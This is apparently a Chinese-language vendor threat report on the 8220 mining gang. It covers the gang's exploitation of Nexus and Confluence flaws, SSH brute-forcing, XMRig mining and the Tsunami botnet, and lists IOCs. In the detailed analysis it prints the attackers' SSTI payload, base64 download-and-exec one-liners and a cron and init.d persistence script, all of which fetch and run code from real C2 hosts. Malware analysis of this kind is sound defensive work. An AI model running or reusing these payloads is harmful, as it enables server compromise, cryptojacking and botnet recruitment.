一、背景
腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)网络攻击日志告警及时处置,已彻底消除该挖矿团伙的威胁。
图1.腾讯主机安全(云镜)检测网络攻击
在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238、Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。
腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3和Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。
在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.py或dd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:
图2.8220挖矿变种攻击流程
8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635和CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)、Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。
腾讯安全系列产品针对8220挖矿团伙最新行动的响应清单如下:
| | |
| | |
| |
| | 1)基于网络流量进行威胁检测与主动拦截,已支持: 8220挖矿团伙关联的IOCs识别检测; 2)检测以下类型漏洞利用:Struts2漏洞利用、Weblogic漏洞利用、Drupal漏洞利用、Tomcat漏洞利用、JBoss漏洞利用、Confluence漏洞利用、Nexus Repository Manager 3漏洞利用
有关腾讯云防火墙的更多信息,可参考:
https://cloud.tencent.com/product/cfw
|
腾讯T-Sec 主机安全 (Cloud Workload Protection,CWP) | 1)已支持查杀8220挖矿团伙相关木马程序; 2)检测以下漏洞:Apache Struts2漏洞CVE-2017-5638、WebLogic 漏洞CVE-2018-2628、WebLogic 漏洞CVE-2017-10271、Tomcat漏洞CVE-2017-12615、Drupal漏洞CVE-2018-7600、CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)、Confluence 未授权远程代码执行漏洞(CVE-2019-3396)、Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238) |
| 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。
关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html
|
| | 1)已支持通过协议检测8220挖矿团伙与服务器的网络通信;
2)检测以下漏洞利用:Apache Struts2漏洞CVE-2017-5638、WebLogic 漏洞CVE-2018-2628、WebLogic 漏洞CVE-2017-10271、Tomcat漏洞CVE-2017-12615、Drupal漏洞CVE-2018-7600、JBoss漏洞CVE-2017-12149、CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)、Confluence 未授权远程代码执行漏洞(CVE-2019-3396)、Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)
关于T-Sec高级威胁检测系统的更多信息,可参考:
https://cloud.tencent.com/product/nta
|
二、详细分析1.网络入侵Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 到 3.14.0,腾讯云安全团队于2019年2月13日发现并上报了该漏洞。
攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。
执行shell命令如下:
Confluence Server和Confluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)。
8220挖矿团伙于2020年10月15日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm
图3
x.vm代码:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d")
2.核心shell为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:
setenforce 0 设置SELinux 成为permissive模式,临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能。
1.setenforce 0 2>/dev/null
2.ulimit -u 50000
3.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:
图4.杀死竞品挖矿进程
试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。
图5.卸载安全软件
从ifconfig中获取IP地址备用。
图6.获取IP地址
通过Ping命令测试矿池域名DNS是否成功。
图7.测试矿池域名
设置横向移动攻击时的Payload:
Payload执行的代码主要功能为下载核心shell脚本xms并执行。
其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py。
python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'
接着d.py负责下载和启动挖矿木马,x86_x64为64位、i686为32位,go负责启动挖矿进程和将其伪装成系统进程。
图8.下载挖矿木马
挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。
图9
图10.挖矿木马启动
脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串“pwnRig”进行标记。
图11.挖矿木马标记
d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:
python -c 'import urllib;exec(urllib.urlopen("http://bash.givemexyz.in/bb.py").read())'
接着bb.py负责下载和执行Tsunami僵尸程序。
图12.下载Tsunami僵尸程序
Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络来控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTP、UDP类型的DDoS攻击。
图13. Tsunami僵尸程序特征
接着解码另一段base64编码的代码并执行:
#!/bin/bash
if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
url="bash.givemexyz.xyz"
base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw=="
else
url="5.196.247.12"
base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"
fi
if crontab -l | grep -q "205.185.113.151\|198.98.57.217"
then
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
crontab -r
echo "Cron not found"
echo -e "*/1 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex -c $dns && /var/run/dbusex -c $dns && /root/dbusex -c $dns\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms\n; rm -rf /tmp/xms\n##" > /var/spool/cron/root
echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24= | base64 -d | bash -
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1
fi
该段代码主要有以下功能:
1. 测试bash.givemexyz.xyz是否能解析成功,能则赋值url="bash.givemexyz.xyz"且将base(定时任务)设置为dd.py,否则url=" 5.196.247.12",base(定时任务)设为d.py。
2. 将执行xms脚本的命令写入定时任务,写入以下位置:
/etc/cron.d/root
/etc/cron.d/apache
/etc/cron.d/nginx
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.hourly/oanacroner1
3. 执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down:
#!/bin/bash
echo -e '#!/bin/bash
### BEGIN INIT INFO
# Provides: down
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Short-Description: down (by pwned)
### END INIT INFO
3.横向移动1.从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。
图14
2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。
图15
Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。
图16
爆破字典中包含16000多对SSH账号密码。
图17
3.利用下载的攻击程序sshexec和sshpass进行SSH爆破登陆。
图18
sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包"/tmp/good.tar.gz"上传到目标服务器,然后解压执行。
图19
IOCsIP
205.185.116.78
5.196.247.12
198.98.57.217
205.185.113.151
194.156.99.30
209.141.61.233
209.141.33.226
209.141.35.17
Domain
bash.givemexyz.xyz
bash.givemexyz.in
c4k-rx0.pwndns.pw
MD5
xms
| 917f0390a3568385fcbfecc0b2b36590
|
xms
| c242aee778acb533db60b1bc8bb7478d
|
xmi
| 4613a0cdf913d3f193e977bebbaf7536
|
x86_64
| cd7ca50a01fc9c6e8fdc8c3d5e6100f0
|
i686
| 8bfc072d37f41190515f8dc00a59fb2e
|
x32b
| ee48aa6068988649e41febfa0e3b2169
|
x64b
| c4d44eed4916675dd408ff0b3562fb1f
|
go
| 9c7ceb4aa12986d40ffdd93ba0ca926e
|
d.py
| 2bee6aad5c035f13fc122ec553857701
|
dd.py
| d563218fee8156116e1ad023f24e1a5d
|
bb.py
| 2fd8cfcac4d08577c6347567b5978497
|
good.tar.gz
| 8f1e95b72e228327d5d035e8c9875cb4
|
linux.tar.gz
| c7a83c9225223394a5e3097d8e1eb66e
|
sshexec
| 57b818cb57dd4a517bde72684e9aaade
|
sshpass
| b1fc3486f3f4d3f23fcbf8b8b0522bf8
|
scan
| b42183f226ab540fb07dd46088b382cf
|
hxx
| f0551696774f66ad3485445d9e3f7214
|
l.py
| 022d538e6175a58c4ebdfe3b1f16c82e
|
URL
http[:]//205.185.116.78/xms
http[:]//205.185.116.78/sshpass
http[:]//205.185.116.78/sshexec
http[:]//205.185.116.78/p
http[:]//205.185.116.78/scan
http[:]//205.185.116.78/masscan
http[:]//205.185.116.78/hxx
http[:]//205.185.116.78/d.py
http[:]//205.185.116.78/dd.py
http[:]//205.185.116.78/bb.py
http[:]//bash.givemexyz.xyz/xms
http[:]//bash.givemexyz.xyz/dd.py
http[:]//bash.givemexyz.xyz/i686
http[:]//bash.givemexyz.xyz/d.py
http[:]//bash.givemexyz.xyz/x32b
http[:]//bash.givemexyz.xyz/xmi
http[:]//bash.givemexyz.xyz/x86_64
http[:]//198.98.57.217/xms
http[:]//198.98.57.217/xmi
http[:]//198.98.57.217/sshexec
http[:]//198.98.57.217/sshpass
http[:]//198.98.57.217/good.tar.gz
http[:]//198.98.57.217/d.py
http[:]//198.98.57.217/x64b
http[:]//198.98.57.217/x32b
http[:]//194.156.99.30/l.py
http[:]//bash.givemexyz.in/dd.py
http[:]//209.141.35.17/wpfa.txt
参考链接:1. Nexus Repository Manager 3 访问控制缺失及远程代码执行漏洞预警
2. Confluence未授权RCE(CVE-2019-3396)漏洞分析
3. 疑似国内来源的“8220挖矿团伙”追踪溯源分析
4 “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞
5. 8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿
6. 抗“疫”时期,谨防服务器被StartMiner趁机挖矿!
7. “8220”挖矿木马入侵服务器挖矿,组建“海啸”僵尸网络,可发起DDoS攻击